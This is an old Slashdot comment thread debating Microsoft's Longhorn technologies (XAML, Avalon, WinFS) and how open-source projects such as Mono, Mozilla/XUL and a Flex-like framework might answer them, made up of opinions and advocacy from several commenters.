Technologies like Linux, Mozilla (XUL+++), etc. came not from the desire to do something that could lure _others_ away from somebody elses technology, but to enable the developer to use hard and software they way he wanted to and the way he thinks others may want to use it. Yes, open source takes lots of ideas, but then they are made better and often different. The drive should come from within, from excitement about the technologies and new ideas.

Instead of worrying about what others might do and how others will perceive our software, we should get excited about it ourselfs first and make it good and work well. There is no fight, there is no competition. Dont waste your thoughts about others, think about how you can realize your own ideas and make them better.

Maybe then we can focus on and enjoy development again.
Let others sleep bad at nights worrying about "the competition".

Regards,
Andre Eisenbach

Re:There is no competition to open source (1)

Skjellifetti (561341) | more than 10 years ago | (#9004523)

Well put.

The advantages of taking MS seriously... (5, Insightful)

ndykman (659315) | more than 10 years ago | (#9004477)

One thing I really give Miguel credit for; he is more than willing to put up with the political heat and flak for taking MS ideas seriously and seeing how they could apply to the Linux/Open Source/GUI world.

Given the popularity of Perl, Python, etc, it makes sense for a language independent VM and libraries for programming. Is the CLR the best for this? Well, no, but there's a good case that it is best thing right now, or at the least, good enough!

I think a killer Open Source project would be port Java over to the CLR. To be really evil and fun, make it a JVM->CLR rewriter. Of course, Sun will sue you like mad, but that not why it wouldn't happen (it helps MS too much), but it would break Sun's hold on Java a bit more. Especially with Mono in the mix.

And now to for the flamebait (This is a post with MS stuff it in, after all).

Microsoft does have true innovations in Longhorn. (See, I told you). And it is worth paying attention to and evaluating. Passing it off as vaporware or FUD isn't wise, considering the bits are getting into people's hands right now.

XAML is nicely balanced and really seems like the first truly usable markup-based GUI language (XUL was close, but not close enough. I think it'd be much more popular otherwise).

Avalon is nice, not totally groundbreaking, but it does kill bitmap-based windowing, and I haven't seen anything that suggest that Linux world is pulling that trigger yet. (X being a obstacle in the way) Apple did, and the results speak for themselves I think.

WinFX has some very interesting ideas in how you structure components, and has the chance to become the next big thing in components (after COM. Another Microsoft innovation! Flames rising).

Finally, WinFS is very, very cool stuff, even as vaporware. I'm not surprised they had to scale it back, because what there are doing is nothing short of rethinking the file system from the ground up. This is a bold thought to take seriously. The notion of extensible metadata alone is powerful. (Before, file metadata was fixed.) Add in searching, extensible relationships, etc and you have something worth paying attention too.

This is innovation, in my book. Invention is coming up with those rare new ideas. I see innovation is taking those ideas and making them applicable, or practical, affordable, widely available, better, used by many and so on.

I think Ford was an innovator for creating a practical way to mass-produce cars. He didn't invent the car, he made it a reality for many.

Microsoft has done that, for better or for worse. Not all innovation is a priori good for all.

Of course, one should never obsess with what MS is doing to the determent of all else. Pay attention, but focus on doing what you can do best, and let the chips fall were they may.

Re:The advantages of taking MS seriously... (0)

Anonymous Coward | more than 10 years ago | (#9004536)

What I am looking foward to is how MS vaporware gets developed, modified, and perfectin in Linux even before MS starts shipping it's beta OSes with features dropped.

What is it going to look like when Linux's Mono/Gnome/Mozilla/XAML intergration going to be better then MS's Avalon/Longhorn/.Net?

That's when I am going to be laughing my ass off.

What? Longhorn has dropped quite a few features already, Sun has gotten us a futuristic 3d desktop for Linux in the wings, WinFS is turning out to be mostly vaporware with it only being integrated into the desktop experiance, instead of the whole .Net internet, DRM crap that it once promised.

Hell, MS can't even port their own OS to x86-64 on a timely basis. How long has x86-86 versions of Suse been around? And how big is Suse compared to Microsoft?

If MS can fullfil their promises and turn vaporware into reality, then Windows will have a major coop again and permenately render all other remaining OS's to niche markets perminately.

Luckly much of MS's vaporware remains vaporware and they haven't been able to fullfill their promises in the past.

Anybody remember how MS said that WinXP was the most secure OS to date?

all the pieces are in places now, why not just.. (3, Insightful)

ashot (599110) | more than 10 years ago | (#9004519)

..put them together.

I do think that the man has a point. The web is just dying for more RIA, we will need to jump out of the request/recieve process, and if MS comes out with this system with no competition it will continue to dominate, and it will be huge.

However, all the tools to create such interactions are available now. I know many people are going to hate to hear this, but Macromedia Flash provides the framework for all of the things that Avalon envisions to do, the system for developing such apps just needs to be created. The Flash player is installed 98.6% of client systems on the internet. (!)

So hear is an idea: why not incorporate developent of such flash apps into Mono? The swf format is now open and documented.

Macromedia recently came out with a system to do something like this called <a href="http://www.macromedia.com/software/flex/">Ma cromedia Flex</a>, however licensing for this product is a nightmare ($USD 12,000) which I think is a grave mistake on Macromedia's part.

They also have a new (sort of) framework called <a href="http://www.macromedia.com/software/central/? promoid=home_prod_ce_0111903">Macromedia Central</a> which allows flash apps to run naitively and interact with local data (download with one click, save network data locally) and its acutally a great app, but its licensing model is again completely proprietary and closed. This is where we (the OS community) come in..

So what is the idea? Just incoporate the functionality of Flex into Mono, you can even use the same format used by Macromedia in Flex, <a href="http://www.macromedia.com/devnet/flex/articl es/paradigm.html">MXML</a>, for interopability. It can be free open, and we have a full year to develop such a framework. There is a HUGE market for this. Particularly for people that are not ready to uprgrade their entire OS, but still want to use RIAs. On that not it will also be important to start devloping some of the killer apps (photo browsers, visual forums, real time easy chat for every page, data extractors, etc).

The drawback is of course speed, and we can't really beat MS there. However if we can get something like this going then it will be a big incentive for Macromedia to offer perhaps a larger + faster version of the flash player. One of the best examples of moves in this direction still has many problems with it, but you can see it here:

www.ego7.net

But, the time is def. limited.

-Ashot

Clickable links! (2, Informative)

ashot (599110) | more than 10 years ago | (#9004554)

Sorry, posted in plain text on accident..

Macromedia Flex [macromedia.com]
Macromedia Central [macromedia.com]
MXML [macromedia.com]
ego7 [ego7.net]

.Net/C# us 3GL, XAML and XUL are 4GL ... (4, Insightful)

Anonymous Coward | more than 10 years ago | (#9004546)

Avalon/XAML *is* scary - but Mozilla/XUL can/should trump the living heck out of
it. If the OSS community lets Microsoft
define the rules, we all lose. We need to
push the heck out of Mozilla/XUL. XUL needs
to become a de-facto standard. It should make
Avalon/XAML look like just yet another proprietary dead end.

It is time to shift focus
past the 3GL GUI toolkits (GTK/QT) and move
on to some much bigger, 4GL, app building
blocks. This is the only fight the matters.
The future 4GL "application platform" is being decided. Will Microsoft own the platform or will
it be open source.

P.S. Lets put Python into Mozilla/XUL (Javascript *is* a big drag)

Markup languages are still code. (5, Insightful)

openmtl (586918) | more than 10 years ago | (#9004566)

"XAML enables you to create a UI without using code. You can create quite elaborate documents entirely in markup using controls, text, images, shapes and so forth..."

Helloooooo, anyone home ?, once you get into creating 'elaborate' stuff in 'markup' then you are smack back into programming and code. Its that kind of thinking that gives us unmaintainable Excel or Word macros, JavaScript, ASP, Perl, Expect/Tk,...list goes on.

It IS programming and it IS in CODE because it has a syntax , a grammer and a vocabulary. Unless it is a natural language parser then its still a computer language.

I'm not knocking the language - I just think its being oversold by saying its not code.

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